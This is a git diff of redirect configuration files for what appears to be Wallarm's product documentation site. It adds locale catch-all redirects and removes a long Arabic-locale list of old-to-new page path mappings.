/ja/vulnerability-detection/schema-based-testing/:splat -/tr/vulnerability-detection/api-test-patrol/* /tr/vulnerability-detection/schema-based-testing/:splat -/pt-br/vulnerability-detection/api-test-patrol/* /pt-br/vulnerability-detection/schema-based-testing/:splat -/ar/vulnerability-detection/api-test-patrol/* /ar/vulnerability-detection/schema-based-testing/:splat /4.8/* /4.10 @@ -976,4 +859,9 @@ /.well-known/mcp.json /mcp-server-card.json 200 /.well-known/mcp-server /mcp-server-card.json 200 -/user-guides/rules/limit-data-export/ /admin-en/export-to-cloud/#attacks-incidents \ No newline at end of file +/user-guides/rules/limit-data-export/ /admin-en/export-to-cloud/#attacks-incidents + +/ja/* /:splat 301 +/tr/* /:splat 301 +/ar/* /:splat 301 +/pt-br/* /:splat 301 diff --git a/docs/7.x/_redirects b/docs/7.x/_redirects index aace07d72f..1a97012622 100644 --- a/docs/7.x/_redirects +++ b/docs/7.x/_redirects @@ -946,3 +946,8 @@ /7.x/agentic-ai/rogue-mcp-inspection/ /7.x/vulnerability-detection/security-testing-overview/ /7.x/agentic-ai/rogue-mcp-inspection /7.x/vulnerability-detection/security-testing-overview/ /7.x/vulnerability-detection/api-security-testing-via-postman/* /7.x/vulnerability-detection/security-testing-overview/ + +/ja/* /:splat 301 +/tr/* /:splat 301 +/ar/* /:splat 301 +/pt-br/* /:splat 301 diff --git a/docs/ar/_redirects b/docs/ar/_redirects deleted file mode 100644 index bca87b47d5..0000000000 --- a/docs/ar/_redirects +++ /dev/null @@ -1,644 +0,0 @@ -/en/admin-en/configure-tarantool-en.html /en/admin-en/configuration-guides/allocate-resources-for-waf-node.html -/en/quickstart-en/qs-intro-en.html /en/quickstart-en/how-wallarm-works/qs-intro-en.html -/ru/admin-ru/configure-tarantool-ru.html /ru/admin-ru/configuration-guides/allocate-memory-for-waf-node.html - -/ru/ https://docs.wallarm.ru/ -/ru https://docs.wallarm.ru/ -/en/ / -/en / - -/en/user-guides/cloud-ui/blacklist/blacklist.html /user-guides/blacklist -/ru/user-guides/cloud-ui/blacklist/blacklist.html /user-guides/blacklist -/admin-en/api-creds-en/ /api/overview/ -/admin-en/api-creds-en /api/overview/ - -/release-notes-en/relnotes-en_v2.14/ /updating-migrating/what-is-new/ -/release-notes-ru/relnotes-en_v2.12/ /2.12/updating-migrating/what-is-new/ -/admin-en/update-linux-en/ /2.12/updating-migrating/nginx-modules/ -/admin-en/migrating-212-214/ /updating-migrating/nginx-modules/ -/admin-en/update-docker-en/ /updating-migrating/docker-container/ -/admin-en/update-postanalytics/ /updating-migrating/separate-postanalytics/ -/release-notes-en/relnotes-en_v2.14 /updating-migrating/what-is-new/ -/release-notes-ru/relnotes-en_v2.12 /2.12/updating-migrating/what-is-new/ -/admin-en/update-linux-en /2.12/updating-migrating/nginx-modules/ -/admin-en/migrating-212-214 /updating-migrating/nginx-modules/ -/admin-en/update-docker-en /updating-migrating/docker-container/ -/admin-en/update-postanalytics /updating-migrating/separate-postanalytics/ - -/admin-en/installation-nginx-en/ /installation/nginx/dynamic-module/ -/admin-en/installation-nginxplus-en/ /installation/nginx-plus/ -/admin-en/installation-nginx-distr-en/ /installation/nginx/dynamic-module-from-distr/ -/admin-en/installation-nginx-en /installation/nginx/dynamic-module/ -/admin-en/installation-nginxplus-en /installation/nginx-plus/ -/admin-en/installation-nginx-distr-en /installation/nginx/dynamic-module-from-distr/ - -/admin-en/troubleshooting/ /faq/common-errors-after-installation/ -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/faq/ /faq/ingress-installation/ -/admin-en/troubleshooting /faq/common-errors-after-installation/ -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/faq /faq/ingress-installation/ - -/2.12/api/* /api/:splat 301! -/2.12/faq/* /faq/:splat 301! -/2.12/fast/* /fast/:splat 301! -/2.14/api/* /api/:splat 301! -/2.14/fast/* /fast/:splat 301! -/2.14/api-firewall/* /api-firewall/:splat 301! -/2.16/api/* /api/:splat 301! -/2.16/fast/* /fast/:splat 301! -/2.16/api-firewall/* /api-firewall/:splat 301! -/2.18/fast/* /fast/:splat 301! -/3.0/fast/* /fast/:splat 301! -/2.12/admin-en/* /2.12 -/2.12/quickstart-en/* /2.12 -/2.12/updating-migrating/* /2.12 -/2.12/user-guides/* /2.12 -/2.12/partner-waf-node/* /2.12 -/2.12/attacks-vulns-list /2.12 -/2.12/attacks-vulns-list/ /2.12 -/2.12/glossary-en /2.12 -/2.12/glossary-en/ /2.12 -/2.10/* /2.12 -/2.10/ /2.12 -/2.10 /2.12 -/2.12/* /2.14 -/2.12/ /2.14 -/2.12 /2.14 -/2.14/* /2.16 -/2.14/ /2.16 -/2.14 /2.16 -/2.14/admin-en/* /2.14 -/2.14/quickstart-en/* /2.14 -/2.14/updating-migrating/* /2.14 -/2.14/user-guides/* /2.14 -/2.14/partner-waf-node/* /2.14 -/2.14/attacks-vulns-list /2.14 -/2.14/attacks-vulns-list/ /2.14 -/2.14/glossary-en /2.14 -/2.14/glossary-en/ /2.14 -/2.16/admin-en/* /2.16 -/2.16/quickstart-en/* /2.16 -/2.16/updating-migrating/* /2.16 -/2.16/user-guides/* /2.16 -/2.16/partner-waf-node/* /2.16 -/2.16/attacks-vulns-list /2.16 -/2.16/attacks-vulns-list/ /2.16 -/2.16/glossary-en /2.16 -/2.16/glossary-en/ /2.16 -/2.16/* /2.18 -/3.6/news/ /news/ -/3.0/admin-en/* /2.18 -/3.0/quickstart-en/* /2.18 -/3.0/updating-migrating/* /2.18 -/3.0/user-guides/* /2.18 -/3.0/waf-installation/* /2.18 -/3.0/installation/* /2.18 -/3.0/about-wallarm-waf/* /2.18 -/3.0/about-wallarm/* /2.18 -/3.0/partner-waf-node/* /2.18 -/3.0/attacks-vulns-list /2.18 -/3.0/attacks-vulns-list/ /2.18 -/3.0/glossary-en /2.18 -/3.0/glossary-en/ /2.18 -/3.0/* /3.2 -/3.2/admin-en/* /3.2 -/3.2/updating-migrating/* /3.2 -/3.2/user-guides/* /3.2 -/3.2/waf-installation/* /3.2 -/3.2/installation/* /3.2 -/3.2/about-wallarm-waf/* /3.2 -/3.2/about-wallarm/* /3.2 -/3.2/partner-waf-node/* /3.2 -/3.2/attacks-vulns-list /3.2 -/3.2/attacks-vulns-list/ /3.2 -/3.2/glossary-en /3.2 -/3.2/glossary-en/ /3.2 -/3.2/quickstart/ /3.2 -/4.2/faq/* /faq/:splat 301! -/3.2/* /3.4 -/3.4/admin-en/* /3.4 -/3.4/quickstart/ /3.4 -/3.4/quickstart /3.4 -/3.4/updating-migrating/* /3.4 -/3.4/user-guides/* /3.4 -/3.4/waf-installation/* /3.4 -/3.4/installation/* /3.4 -/3.4/about-wallarm-waf/* /3.4 -/3.4/about-wallarm/* /3.4 -/3.4/partner-waf-node/* /3.4 -/3.4/attacks-vulns-list /3.4 -/3.4/attacks-vulns-list/ /3.4 -/3.4/glossary-en /3.4 -/3.4/glossary-en/ /3.4 - -/4.0/admin-en/* /4.0 -/4.0/quickstart/ /4.0 -/4.0/quickstart /4.0 -/4.0/updating-migrating/* /4.0 -/4.0/user-guides/* /4.0 -/4.0/waf-installation/* /4.0 -/4.0/installation/* /4.0 -/4.0/about-wallarm-waf/* /4.0 -/4.0/about-wallarm/* /4.0 -/4.0/partner-waf-node/* /4.0 -/4.0/attacks-vulns-list /4.0 -/4.0/attacks-vulns-list/ /4.0 -/4.0/glossary-en /4.0 -/4.0/glossary-en/ /4.0 - -/4.0/* /4.2 -/4.2/admin-en/* /4.2 -/4.2/installation/* /4.2 -/4.2/quickstart/ /4.2 -/4.2/quickstart /4.2 -/4.2/updating-migrating/* /4.2 -/4.2/user-guides/* /4.2 -/4.2/waf-installation/* /4.2 -/4.2/about-wallarm-waf/* /4.2 -/4.2/partner-waf-node/* /4.2 -/4.2/attacks-vulns-list /4.2 -/4.2/attacks-vulns-list/ /4.2 -/4.2/glossary-en /4.2 -/4.2/glossary-en/ /4.2 - -/4.2/* /4.4 -/4.4/admin-en/* /4.4 -/4.4/installation/* /4.4 -/4.4/quickstart/ /4.4 -/4.4/quickstart /4.4 -/4.4/updating-migrating/* /4.4 -/4.4/user-guides/* /4.4 -/4.4/waf-installation/* /4.4 -/4.4/about-wallarm-waf/* /4.4 -/4.4/partner-waf-node/* /4.4 -/4.4/attacks-vulns-list /4.4 -/4.4/attacks-vulns-list/ /4.4 -/4.4/glossary-en /4.4 -/4.4/glossary-en/ /4.4 - -/quickstart-en/how-wallarm-works/qs-intro-en /about-wallarm/overview/ -/quickstart-en/how-wallarm-works/shared-responsibility /about-wallarm/shared-responsibility/ -/quickstart-en/how-wallarm-works/subscription-plans /about-wallarm/subscription-plans/ -/quickstart-en/how-wallarm-works/qs-intro-en/ /about-wallarm/overview/ -/quickstart-en/how-wallarm-works/shared-responsibility/ /about-wallarm/shared-responsibility/ -/quickstart-en/how-wallarm-works/subscription-plans/ /about-wallarm/subscription-plans/ - -/user-guides/triggers/create-trigger /user-guides/triggers/triggers/#creating-triggers -/user-guides/triggers/delete-trigger /user-guides/triggers/triggers/#disabling-and-deleting-triggers -/user-guides/triggers/disable-trigger /user-guides/triggers/triggers/#disabling-and-deleting-triggers -/user-guides/triggers/create-trigger/ /user-guides/triggers/triggers/#creating-triggers -/user-guides/triggers/delete-trigger/ /user-guides/triggers/triggers/#disabling-and-deleting-triggers -/user-guides/triggers/disable-trigger/ /user-guides/triggers/triggers/#disabling-and-deleting-triggers - -/2.12/user-guides/triggers/create-trigger /2.12/user-guides/triggers/triggers/#creating-triggers -/2.12/user-guides/triggers/delete-trigger /2.12/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.12/user-guides/triggers/disable-trigger /2.12/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.12/user-guides/triggers/create-trigger/ /2.12/user-guides/triggers/triggers/#creating-triggers -/2.12/user-guides/triggers/delete-trigger/ /2.12/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.12/user-guides/triggers/disable-trigger/ /2.12/user-guides/triggers/triggers/#disabling-and-deleting-triggers - -/2.14/user-guides/triggers/create-trigger /2.14/user-guides/triggers/triggers/#creating-triggers -/2.14/user-guides/triggers/delete-trigger /2.14/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.14/user-guides/triggers/disable-trigger /2.14/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.14/user-guides/triggers/create-trigger/ /2.14/user-guides/triggers/triggers/#creating-triggers -/2.14/user-guides/triggers/delete-trigger/ /2.14/user-guides/triggers/triggers/#disabling-and-deleting-triggers -/2.14/user-guides/triggers/disable-trigger/ /2.14/user-guides/triggers/triggers/#disabling-and-deleting-triggers - -/en/quick-installation/quick-dynamic-module-for-nginx.html /installation/nginx/dynamic-module/ -/en/quick-installation/quick-dynamic-module-for-nginx.html/ /installation/nginx/dynamic-module/ - -/admin-en/api-en /api/overview/ -/admin-en/api-en/ /api/overview/ -/2.12/admin-en/api-en /api/overview/ -/2.12/admin-en/api-en/ /api/overview/ -/2.14/admin-en/api-en /api/overview/ -/2.14/admin-en/api-en/ /api/overview/ - -/user-guides/search-and-filters/use-filter/ /user-guides/search-and-filters/use-search/ -/user-guides/search-and-filters/use-filter /user-guides/search-and-filters/use-search/ -/2.14/user-guides/search-and-filters/use-filter/ /2.14/user-guides/search-and-filters/use-search/ -/2.14/user-guides/search-and-filters/use-filter /2.14/user-guides/search-and-filters/use-search/ -/2.12/user-guides/search-and-filters/use-filter/ /2.12/user-guides/search-and-filters/use-search/ -/2.12/user-guides/search-and-filters/use-filter /2.12/user-guides/search-and-filters/use-search/ - -/quickstart-en/qs-prereq-en/ /quickstart-en/qs-install-node-en/#requirements -/quickstart-en/qs-prereq-en /quickstart-en/qs-install-node-en/#requirements -/2.14/quickstart-en/qs-prereq-en/ /quickstart-en/qs-install-node-en/#requirements -/2.14/quickstart-en/qs-prereq-en /quickstart-en/qs-install-node-en/#requirements -/2.12/quickstart-en/qs-prereq-en/ /quickstart-en/qs-install-node-en/#requirements -/2.12/quickstart-en/qs-prereq-en /quickstart-en/qs-install-node-en/#requirements - -/quickstart-en/qs-license-en/ /quickstart-en/qs-install-node-en/#requirements -/quickstart-en/qs-license-en /quickstart-en/qs-install-node-en/#requirements -/2.14/quickstart-en/qs-license-en/ /quickstart-en/qs-install-node-en/#requirements -/2.14/quickstart-en/qs-license-en /quickstart-en/qs-install-node-en/#requirements -/2.12/quickstart-en/qs-license-en/ /quickstart-en/qs-install-node-en/#requirements -/2.12/quickstart-en/qs-license-en /quickstart-en/qs-install-node-en/#requirements - -/admin-en/sensitive-data-en/ /user-guides/rules/sensitive-data-rule/ -/admin-en/sensitive-data-en /user-guides/rules/sensitive-data-rule/ -/2.16/admin-en/sensitive-data-en/ /2.16/user-guides/rules/sensitive-data-rule/ -/2.16/admin-en/sensitive-data-en /2.16/user-guides/rules/sensitive-data-rule/ -/2.14/admin-en/sensitive-data-en/ /2.14/user-guides/rules/sensitive-data-rule/ -/2.14/admin-en/sensitive-data-en /2.14/user-guides/rules/sensitive-data-rule/ - -/en/admin-en/api-creds-en.html /api/overview/ -/en/admin-en/installation-gcp-en.html /admin-en/installation-gcp-en/ - -/admin-en/installation-guides/clouds-intro /admin-en/supported-platforms/#cloud-platforms -/admin-en/installation-guides/clouds-intro/ /admin-en/supported-platforms/#cloud-platforms -/2.16/admin-en/installation-guides/clouds-intro /2.16/admin-en/supported-platforms/#cloud-platforms -/2.16/admin-en/installation-guides/clouds-intro/ /2.16/admin-en/supported-platforms/#cloud-platforms -/2.14/admin-en/installation-guides/clouds-intro /2.14/admin-en/supported-platforms/#cloud-platforms -/2.14/admin-en/installation-guides/clouds-intro/ /2.14/admin-en/supported-platforms/#cloud-platforms - -/user-guides/blacklist/ /user-guides/ip-lists/denylist/ -/admin-en/configure-ip-blocking-en/ /user-guides/ip-lists/denylist/ -/admin-en/configure-ip-blocking-iptables-en/ /user-guides/ip-lists/denylist/ -/admin-en/configure-ip-blocking-nginx-en/ /user-guides/ip-lists/denylist/ -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/block-ip-addresses/ /user-guides/ip-lists/denylist/ -/admin-en/scanner-ips-whitelisting/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/admin-en/block-part-en/ /admin-en/configure-wallarm-mode/ -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/whitelist-wallarm-ip-addresses/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/3.0/partner-waf-node/overview/ /2.18/partner-waf-node/overview/ 301! -/3.0/partner-waf-node/creating-partner-account/ /2.18/partner-waf-node/creating-partner-account/ 301! -/3.0/partner-waf-node/connecting-clients/ /2.18/partner-waf-node/connecting-clients/ 301! -/3.0/partner-waf-node/installing-partner-waf-node/ /2.18/partner-waf-node/installing-partner-waf-node/ 301! - -/en/admin-en/installation-ami-en.html /admin-en/installation-ami-en/ - -/quickstart-en/qs-install-node-en/ /quickstart/ -/quickstart-en/qs-setup-proxy-en/ /quickstart/ -/quickstart-en/qs-check-operation-en/ /admin-en/installation-check-operation-en/ - -/3.0/quickstart-en/qs-install-node-en/ /3.0/quickstart/ -/3.0/quickstart-en/qs-setup-proxy-en/ /3.0/quickstart/ -/3.0/quickstart-en/qs-check-operation-en/ /3.0/admin-en/installation-check-operation-en/ - -/2.18/quickstart-en/qs-install-node-en/ /2.18/quickstart/ -/2.18/quickstart-en/qs-setup-proxy-en/ /2.18/quickstart/ -/2.18/quickstart-en/qs-check-operation-en/ /2.18/admin-en/installation-check-operation-en/ - -/user-guides/rules/add-rule/#equal /user-guides/rules/add-rule/#condition-type-equal -/user-guides/rules/add-rule/#iequal /user-guides/rules/add-rule/#condition-type-iequal-aa -/user-guides/rules/add-rule/#regex /user-guides/rules/add-rule/#condition-type-regex -/user-guides/rules/add-rule/#absent /user-guides/rules/add-rule/#condition-type-absent - -/glossary-en/#attack-vector /glossary-en/#malicious-payload -/en/admin-en/configure-backup-en.html /admin-en/configure-backup-en/ -/ru/admin-ru/configure-backup-ru.html https://docs.wallarm.ru/admin-ru/configure-backup-ru/ - -/2.18/admin-en/scanner-address-us-en /2.18/admin-en/scanner-address-us-cloud/ -/2.18/admin-en/scanner-address-us-en/ /2.18/admin-en/scanner-address-us-cloud/ -/3.0/admin-en/scanner-address-us-en /3.0/admin-en/scanner-address-us-cloud/ -/3.0/admin-en/scanner-address-us-en/ /3.0/admin-en/scanner-address-us-cloud/ -/3.2/admin-en/scanner-address-us-en /3.2/admin-en/scanner-address-us-cloud/ -/3.2/admin-en/scanner-address-us-en/ /3.2/admin-en/scanner-address-us-cloud/ -/admin-en/scanner-address-us-en /admin-en/scanner-address-us-cloud/ -/admin-en/scanner-address-us-en/ /admin-en/scanner-address-us-cloud/ - -/2.18/admin-en/scanner-address-en /2.18/admin-en/scanner-address-eu-cloud/ -/2.18/admin-en/scanner-address-en/ /2.18/admin-en/scanner-address-eu-cloud/ -/3.0/admin-en/scanner-address-en /3.0/admin-en/scanner-address-eu-cloud/ -/3.0/admin-en/scanner-address-en/ /3.0/admin-en/scanner-address-eu-cloud/ -/3.2/admin-en/scanner-address-en /3.2/admin-en/scanner-address-eu-cloud/ -/3.2/admin-en/scanner-address-en/ /3.2/admin-en/scanner-address-eu-cloud/ -/admin-en/scanner-address-en /admin-en/scanner-address-eu-cloud/ -/admin-en/scanner-address-en/ /admin-en/scanner-address-eu-cloud/ - -/user-guides/rules/define-counters /admin-en/configuration-guides/protecting-against-bruteforce/ -/user-guides/rules/define-counters/ /admin-en/configuration-guides/protecting-against-bruteforce/ -/3.2/user-guides/rules/define-counters /3.2/admin-en/configuration-guides/protecting-against-bruteforce/ -/3.2/user-guides/rules/define-counters/ /3.2/admin-en/configuration-guides/protecting-against-bruteforce/ -/3.0/user-guides/rules/define-counters /3.0/admin-en/configuration-guides/protecting-against-bruteforce/ -/3.0/user-guides/rules/define-counters/ /3.0/admin-en/configuration-guides/protecting-against-bruteforce/ -/2.18/user-guides/rules/define-counters /2.18/admin-en/configuration-guides/protecting-against-bruteforce/ -/2.18/user-guides/rules/define-counters/ /2.18/admin-en/configuration-guides/protecting-against-bruteforce/ - -/partner-waf-node/overview /installation/multi-tenant/overview/ -/partner-waf-node/creating-partner-account /installation/multi-tenant/configure-accounts -/partner-waf-node/connecting-clients /installation/multi-tenant/configure-accounts -/partner-waf-node/installing-partner-waf-node /installation/multi-tenant/deploy-multi-tenant-node -/3.4/partner-waf-node/overview /3.4/installation/multi-tenant/overview/ -/3.4/partner-waf-node/creating-partner-account /3.4/installation/multi-tenant/configure-accounts -/3.4/partner-waf-node/connecting-clients /3.4/installation/multi-tenant/configure-accounts -/3.4/partner-waf-node/installing-partner-waf-node /3.4/installation/multi-tenant/deploy-multi-tenant-node -/3.2/partner-waf-node/overview /3.2/installation/multi-tenant/overview/ -/3.2/partner-waf-node/creating-partner-account /3.2/installation/multi-tenant/configure-accounts -/3.2/partner-waf-node/connecting-clients /3.2/installation/multi-tenant/configure-accounts -/3.2/partner-waf-node/installing-partner-waf-node /3.2/installation/multi-tenant/deploy-multi-tenant-node -/2.18/partner-waf-node/overview /2.18/installation/multi-tenant/overview/ -/2.18/partner-waf-node/creating-partner-account /2.18/installation/multi-tenant/configure-accounts -/2.18/partner-waf-node/connecting-clients /2.18/installation/multi-tenant/configure-accounts -/2.18/partner-waf-node/installing-partner-waf-node /2.18/installation/multi-tenant/deploy-multi-tenant-node - -/user-guides/nodes/regular-node/ /user-guides/nodes/nodes/ -/user-guides/nodes/cloud-node/ /user-guides/nodes/nodes/ - -/faq/waf-aws-via-terraform-installation/ https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code#troubleshooting -/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-intro/ https://github.com/wallarm/terraform-example/wiki -/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-code-desc/ https://github.com/wallarm/terraform-example/wiki/Description-of-example-Terraform-code -/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-quick-start/ https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code -/3.6/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-intro/ https://github.com/wallarm/terraform-example/wiki -/3.6/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-code-desc/ https://github.com/wallarm/terraform-example/wiki/Description-of-example-Terraform-code -/3.6/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-quick-start/ https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code -/3.4/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-intro/ https://github.com/wallarm/terraform-example/wiki -/3.4/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-code-desc/ https://github.com/wallarm/terraform-example/wiki/Description-of-example-Terraform-code -/3.4/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-quick-start/ https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code -/2.18/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-intro/ https://github.com/wallarm/terraform-example/wiki -/2.18/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-code-desc/ https://github.com/wallarm/terraform-example/wiki/Description-of-example-Terraform-code -/2.18/admin-en/installation-guides/amazon-cloud/deploy-waf-via-terraform/deploy-waf-via-terraform-quick-start/ https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code - -/user-guides/dashboard/intro/ /user-guides/dashboard/ -/user-guides/dashboard/waf/ /user-guides/dashboard/ -/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner -/3.6/user-guides/dashboard/intro/ /user-guides/dashboard/ -/3.6/user-guides/dashboard/waf/ /user-guides/dashboard/ -/3.6/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner -/3.4/user-guides/dashboard/intro/ /user-guides/dashboard/ -/3.4/user-guides/dashboard/waf/ /user-guides/dashboard/ -/3.4/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner - -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-manifest/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-manifest/ /installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container/ /installation/kubernetes/sidecar-proxy/deployment/ - -/user-guides/ip-lists/greylist/ /user-guides/ip-lists/graylist/ -/4.0/user-guides/ip-lists/greylist/ /4.0/user-guides/ip-lists/graylist/ -/3.6/user-guides/ip-lists/greylist/ /3.6/user-guides/ip-lists/graylist/ -/3.4/user-guides/ip-lists/greylist/ /3.4/user-guides/ip-lists/graylist/ - -/user-guides/ip-lists/blacklist/ /user-guides/ip-lists/denylist/ -/4.0/user-guides/ip-lists/blacklist/ /4.0/user-guides/ip-lists/denylist/ -/3.6/user-guides/ip-lists/blacklist/ /3.6/user-guides/ip-lists/denylist/ -/3.4/user-guides/ip-lists/blacklist/ /3.4/user-guides/ip-lists/denylist/ -/2.18/user-guides/blacklist/ /2.18/user-guides/denylist/ - -/user-guides/ip-lists/whitelist/ /user-guides/ip-lists/allowlist/ -/4.0/user-guides/ip-lists/whitelist/ /4.0/user-guides/ip-lists/allowlist/ -/3.6/user-guides/ip-lists/whitelist/ /3.6/user-guides/ip-lists/allowlist/ -/3.4/user-guides/ip-lists/whitelist/ /3.4/user-guides/ip-lists/allowlist/ -/2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/whitelist-wallarm-ip-addresses/ /2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ -/2.18/admin-en/scanner-ips-whitelisting/ /2.18/admin-en/scanner-ips-allowlisting/ - -/admin-en/mirror-traffic-en/ /admin-en/configuration-guides/traffic-mirroring/overview/ -/4.0/admin-en/mirror-traffic-en/ /4.0/admin-en/configuration-guides/traffic-mirroring/overview/ -/3.6/admin-en/mirror-traffic-en/ /3.6/admin-en/configuration-guides/traffic-mirroring/overview/ -/3.4/admin-en/mirror-traffic-en/ /3.4/admin-en/configuration-guides/traffic-mirroring/overview/ -/2.18/admin-en/mirror-traffic-en/ /2.18/admin-en/configuration-guides/traffic-mirroring/overview/ - -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/admin-en/scanner-ips-allowlisting/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/user-guides/denylist/ /user-guides/ip-lists/denylist/ - -/admin-en/installation-kong-en/ /installation/kubernetes/kong-ingress-controller/deployment/ - -/about-wallarm-waf/* /about-wallarm/:splat 301! -/2.18/about-wallarm-waf/* /2.18/about-wallarm/:splat 301! -/3.4/about-wallarm-waf/* /3.4/about-wallarm/:splat 301! -/3.6/about-wallarm-waf/* /3.6/about-wallarm/:splat 301! -/4.0/about-wallarm-waf/* /4.0/about-wallarm/:splat 301! -/waf-installation/* /installation/:splat 301! -/2.18/waf-installation/* /2.18/installation/:splat 301! -/3.4/waf-installation/* /3.4/installation/:splat 301! -/3.6/waf-installation/* /3.6/installation/:splat 301! -/4.0/waf-installation/* /4.0/installation/:splat 301! -/admin-en/configuration-guides/allocate-resources-for-waf-node/ /admin-en/configuration-guides/allocate-resources-for-node/ -/2.18/admin-en/configuration-guides/allocate-resources-for-waf-node/ /2.18/admin-en/configuration-guides/allocate-resources-for-node/ -/3.4/admin-en/configuration-guides/allocate-resources-for-waf-node/ /3.4/admin-en/configuration-guides/allocate-resources-for-node/ -/3.6/admin-en/configuration-guides/allocate-resources-for-waf-node/ /3.6/admin-en/configuration-guides/allocate-resources-for-node/ -/4.0/admin-en/configuration-guides/allocate-resources-for-waf-node/ /4.0/admin-en/configuration-guides/allocate-resources-for-node/ -/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/2.18/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /2.18/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/2.18/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /2.18/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/3.4/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /3.4/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/3.4/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /3.4/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/3.6/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /3.6/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/3.6/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /3.6/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/4.0/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /4.0/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/faq/waf-nginx-compatibility/ /faq/nginx-compatibility/ -/faq/waf-ingress-installation/ /faq/ingress-installation/ -/faq/common-errors-after-waf-installation/ /faq/common-errors-after-installation/ -/demo-videos/waf-overview/ /demo-videos/overview/ -/demo-videos/waf-events-inspection/ /demo-videos/events-inspection/ -/demo-videos/notifications/ /user-guides/triggers/triggers/ - -/user-guides/settings/api-discovery/ /user-guides/api-discovery/#configuring-api-discovery -/4.2/user-guides/settings/api-discovery/ /4.2/user-guides/api-discovery/#configuring-api-discovery -/4.0/user-guides/settings/api-discovery/ /4.0/user-guides/api-discovery/#configuring-api-discovery -/3.6/user-guides/settings/api-discovery/ /3.6/user-guides/api-discovery/#configuring-api-discovery - -/user-guides/dashboard/ /user-guides/dashboards/threat-prevention/ -/4.2/user-guides/dashboard/ /4.2/user-guides/dashboards/threat-prevention/ -/4.0/user-guides/dashboard/ /4.0/user-guides/dashboards/threat-prevention/ -/3.6/user-guides/dashboard/ /3.6/user-guides/dashboards/threat-prevention/ - -/4.0/* /4.0 -/2.18/user-guides/vulnerabilities/analyze-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/check-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/close-open-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/false-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/recheck-vuln/ /2.18/user-guides/vulnerabilities/ 